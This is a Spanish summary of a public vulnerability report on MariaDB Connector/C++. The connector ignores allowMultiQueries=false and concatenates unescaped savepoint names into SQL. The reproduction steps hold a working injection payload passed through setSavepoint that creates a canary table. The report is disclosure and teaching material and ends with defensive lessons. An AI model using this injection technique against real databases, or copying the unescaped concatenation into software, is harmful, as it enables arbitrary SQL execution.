Reports
MEDIA[SQL INJECTION]#3890329

MariaDB Connector/C++ activa siempre las consultas múltiples e inserta sin escapar el nombre del savepoint en el SQL

El driver C++ de MariaDB ignoraba allowMultiQueries=false y concatenaba el nombre de los savepoints en el SQL sin comillas. Juntos, un nombre de savepoint manipulado bastaba para ejecutar sentencias arbitrarias.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

El investigador encontró en MariaDB Connector/C++ dos fallos independientes en la forma de construir y enviar sentencias que, combinados, convierten un simple nombre de savepoint en una vía para ejecutar SQL arbitrario.

1. La opción allowMultiQueries no sirve para nada. El driver calcula bien qué capacidades debe pedir al servidor. En src/protocol/capi/ConnectProtocol.cpp:183 solo añade el soporte de varias sentencias si la aplicación lo pide:

    if (options->allowMultiQueries || (options->rewriteBatchedStatements)){
      capabilities|= MariaDbServerCapabilities::MULTI_STATEMENTS;
    }

Pero esa máscara nunca llega a la llamada que abre la conexión. En la línea 474 el parámetro de flags es un valor fijo:

    if (mysql_real_connect(connection, NULL, NULL, NULL, NULL, 0, NULL, CLIENT_MULTI_STATEMENTS) == nullptr)

La variable capabilities solo se pasa a sslWrapper y al manejador de autenticación, que ni siquiera la usa (en la línea 590 el parámetro aparece como int64_t /*clientCapabilities*/). Resultado: aunque allowMultiQueries vale false por defecto (src/options/Options.h:71, src/options/DefaultOptions.cpp) o la aplicación lo fije a false a propósito, todas las conexiones aceptan sentencias encadenadas con ;. El reporte lo clasifica como CWE-1188 (inicialización por defecto insegura).

2. Los nombres de savepoint se concatenan tal cual. En src/MariaDbConnection.cpp:1093-1099:

  Savepoint* MariaDbConnection::setSavepoint(const SQLString& name)
  {
    Savepoint* savepoint= new MariaDbSavepoint(name, savepointCount++);
    std::unique_ptr<Statement> st(createStatement());

    st->execute("SAVEPOINT "+savepoint->toString());

Y en las líneas 1113-1116:

  void MariaDbConnection::releaseSavepoint(const Savepoint* savepoint)
  {
    std::unique_ptr<Statement> st(createStatement());
    st->execute("RELEASE SAVEPOINT " + savepoint->toString());

MariaDbSavepoint::toString (src/MariaDbSavepoint.cpp:54-58) se limita a pegar el identificador numérico detrás del nombre que pasa quien llama a la API pública sql::Connection::setSavepoint(const SQLString&). El driver tiene una función quoteIdentifier (MariaDbConnection.cpp:85-87), pero aquí no se usa; Connector/J, en cambio, sí pone los nombres de savepoint entre acentos graves.

El investigador añade que ni siquiera quoteIdentifier habría bastado: se apoya en sql::mariadb::replace, que tiene un fallo de cursor (objeto de otro reporte suyo) y genera un número impar de acentos graves, así que tampoco entrecomilla de forma fiable.

Código afectado según el reporte, en el commit c57f17f: src/protocol/capi/ConnectProtocol.cpp (líneas 183 y 474), src/MariaDbConnection.cpp (líneas 1097 y 1115) y src/MariaDbSavepoint.cpp (líneas 54-58).

Pasos de reproducción

Entorno de la prueba: un MariaDB 11.4 sin modificar.

  1. Abrir una conexión con el driver fijando explícitamente allowMultiQueries a false (que además es el valor por defecto):
  sql::Properties props({{"user","root"},{"password","[REDACTADO]"}});
  props["allowMultiQueries"] = "false";
  1. Ejecutar una sentencia encadenada que cree una tabla de control (canary_a). Aunque la aplicación pidió desactivar las consultas múltiples, el servidor la acepta:
=== F3a: stacked statement with allowMultiQueries=false ===
    server accepted the stacked statement
    canary_a exists = YES  <== multi-statement is ON
  1. Llamar a setSavepoint con un nombre que contenga SQL:
  conn->setSavepoint("sp; CREATE TABLE pocdb.canary_b (id INT); -- ");
  1. Revisar el log general del servidor. La sentencia que envió el driver es exactamente esta (el 0 final es el contador que añade toString, que queda dentro del comentario -- ):
SAVEPOINT sp; CREATE TABLE pocdb.canary_b (id INT); -- 0
  1. Comprobar que el DDL se ejecutó. setSavepoint() vuelve sin error y la tabla existe:
=== F3b: injection through Connection::setSavepoint(name) ===
    setSavepoint() returned normally
    canary_b exists = YES  <== DDL executed via savepoint name

Verificado también directamente en el servidor:

Tables_in_pocdb
alpha
canary_a
canary_b
canary_c
zsecret
  1. Control negativo: con un nombre de savepoint normal, el driver emite un SAVEPOINT corriente y no aparece ninguna tabla nueva.

Impacto

  • Ejecución de sentencias arbitrarias a través del nombre de un savepoint. En la prueba se ejecutó DDL (CREATE TABLE) en un servidor real. La condición es que la aplicación use como nombre de savepoint un texto que controle el usuario; el investigador apunta que encajan los frameworks que nombran las transacciones anidadas según etiquetas visibles, identificadores de cliente (tenant) o de petición.
  • Amplificador de cualquier otra inyección SQL. El fallo de las consultas múltiples no tiene ninguna condición previa: afecta a todas las conexiones del driver. Por sí solo no da acceso, pero elimina la contención más eficaz contra las inyecciones: cualquier inyección SQL de la aplicación (o del propio driver, como el fallo de escapado de metadatos que el investigador reportó aparte) pasa de manipular una sola sentencia a poder encadenar las que quiera.
  • Falsa sensación de seguridad. Una aplicación que revisó su configuración y dejó allowMultiQueries=false no tiene forma de saber desde fuera que esa opción no tiene efecto.

Qué aprender de este caso

  • Cuando un driver calcula una máscara de opciones o capacidades, sigue esa variable hasta la llamada real a la librería de bajo nivel (aquí, mysql_real_connect): un valor fijo en el último paso anula todo lo calculado antes, y los parámetros comentados como /*clientCapabilities*/ son una pista de que algo se descarta.
  • Prueba de verdad las opciones de seguridad que se desactivan: con allowMultiQueries=false, lanza un SELECT 1; CREATE TABLE ... y comprueba si la tabla aparece. Si no hay un test así, nadie se entera de que la opción no hace nada.
  • En los conectores de bases de datos, revisa todos los sitios donde se construye SQL con identificadores (savepoints, nombres de tabla o de esquema): no admiten parámetros ?, así que suelen acabar concatenados. Lo seguro es validarlos contra una lista blanca de caracteres o usar un escapado probado, y no confiar en que el llamador pase solo valores internos.
  • Si existe una función auxiliar de entrecomillado, comprueba también que funciona bien: en este caso quoteIdentifier dependía de un replace defectuoso y no habría protegido aunque se hubiera usado.